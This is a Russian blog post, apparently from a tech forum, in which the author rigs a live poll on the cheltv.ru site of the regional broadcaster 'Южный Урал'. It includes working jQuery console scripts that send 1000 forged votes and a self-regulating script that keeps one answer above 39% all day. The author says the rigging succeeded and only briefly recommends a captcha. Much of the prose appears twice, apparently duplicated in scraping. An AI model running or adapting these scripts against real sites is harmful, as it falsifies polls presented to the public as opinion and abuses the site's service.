Накрутка голосов в опросе на сайте крупной областной телевизионной компании
Invite pending
Все нижеописанное было сделано только «just for fun» и не ради какой-либо выгоды.
Телевизионная компания, о которой пойдет речь, это государственная телевизионная и радиовещательная компания «Южный Урал». День назад мне дали ссылку на опрос, суть которого сводилась «за» или «против». Немного свободного времени и праздного любопытства — и я обнаружил, что голоса можно накручивать, если удалять куки. Я пошел дальше, стал смотреть как это всё работает«под капотом» в исходном коде и обнаружил интересные вещи.
Как всё работало:
Чтобы понять как и куда отправляется форма, немного последил за сетевой активностью сайта, встроенными в браузер инструментами. На сайте используется JQuery. Далее, немного подумав, родил скрипт:
Смысл его прост: тысячу раз отправляем форму с ответом, минуя «защиту» от накрутки. Осталось его запустить. Для этого в Гугл Хром открываем инструмент разработчика (ctrl + shift + i), находим консоль, в ней находим строку ввода и благополучно вставляем наш скрипт, нажимаем энтер и наслаждаемся работой скрипта.
На стороне сервера абсолютно ни какой защиты от данного способа накрутки. В ответ по запросу на адрес 'http://www.cheltv.ru/ajax/interviews/answer' возвращается JSON.
Но не обязательно голосовать, чтобы получить результаты, можно отправить запрос по адресу 'http://www.cheltv.ru/ajax/interviews/statistics/26' и в ответе будет почти тот же JSON с результатами голосования.
Немного усложнив скрипт, можно контролировать результаты.
Приведенный скрипт раз в минуту самостоятельно опрашивает сервер и при снижении результатов по одному из ответов ниже порога (в моем случае 39%) начинает слать форму с ответом на опрос. запускаем скрипт и оставляем открытую вкладку работать на весь день. Победитель выбран.
На мой взгляд это серьезная уязвимость для новостной телекомпании, ведь результаты опроса затем могут транслироваться по телевидению и радио как отражение общественного мнения. Стоило немного продумать механизм блокировки подобных действий. Да хотя бы капчу поставить!
Телевизионная компания, о которой пойдет речь, это государственная телевизионная и радиовещательная компания «Южный Урал». День назад мне дали ссылку на опрос, суть которого сводилась «за» или «против». Немного свободного времени и праздного любопытства — и я обнаружил, что голоса можно накручивать, если удалять куки. Я пошел дальше, стал смотреть как это всё работает
Как всё работало:
- Посетитель сайта делает свой выбор и нажимает кнопку отправить
- На нужный адрес отправлялась форма
- Скрипты делали метку в куки и блокировали возможность повторно отправлять форму
Чтобы понять как и куда отправляется форма, немного последил за сетевой активностью сайта, встроенными в браузер инструментами. На сайте используется JQuery. Далее, немного подумав, родил скрипт:
for (i=0;i<1000;i++){
var url = 'http://www.cheltv.ru/ajax/interviews/answer';
var data =
{
'interviews_id': 26,
'answer[26]': 113,
};
$.ajax({
type:"POST",
url:url,
data:data,
dataType: "json"
});
};
Смысл его прост: тысячу раз отправляем форму с ответом, минуя «защиту» от накрутки. Осталось его запустить. Для этого в Гугл Хром открываем инструмент разработчика (ctrl + shift + i), находим консоль, в ней находим строку ввода и благополучно вставляем наш скрипт, нажимаем энтер и наслаждаемся работой скрипта.
На стороне сервера абсолютно ни какой защиты от данного способа накрутки. В ответ по запросу на адрес 'http://www.cheltv.ru/ajax/interviews/answer' возвращается JSON.
{"content":{"statistics":{"112":21,"113":38,"114":21,"115":1,"116":19},"just_stored":true}})
Но не обязательно голосовать, чтобы получить результаты, можно отправить запрос по адресу 'http://www.cheltv.ru/ajax/interviews/statistics/26' и в ответе будет почти тот же JSON с результатами голосования.
{"content":{"112":21,"113":38,"114":21,"115":1,"116":19}}
Немного усложнив скрипт, можно контролировать результаты.
setInterval(function() {
iknow();
}, 60000);
function iknow(){
$.ajax({
type:"POST",
url:'http://www.cheltv.ru/ajax/interviews/statistics/26',
dataType: "json",
success: function(json)
{
console.log(json.content['113']);
if(json.content['113']<39) {
upper();
};
},
});
}
function upper(){
setTimeout(function(){
var url = 'http://www.cheltv.ru/ajax/interviews/answer';
var data =
{
'interviews_id': 26,
'answer[26]': 113,
//TODO Add date field
};
sendD(data, url);
}, (Math.random() * (30000 - 1000) + 1000));
}
function sendD(data,url)
{
$.ajax({
type:"POST",
url:url,
data:data,
dataType: "json",
success: function(json)
{
console.log(json.content.statistics['113']);
if(json.content.statistics['113']<39) {
upper();
}
},
});
}
Приведенный скрипт раз в минуту самостоятельно опрашивает сервер и при снижении результатов по одному из ответов ниже порога (в моем случае 39%) начинает слать форму с ответом на опрос. запускаем скрипт и оставляем открытую вкладку работать на весь день. Победитель выбран.
На мой взгляд это серьезная уязвимость для новостной телекомпании, ведь результаты опроса затем могут транслироваться по телевидению и радио как отражение общественного мнения. Стоило немного продумать механизм блокировки подобных действий. Да хотя бы капчу поставить!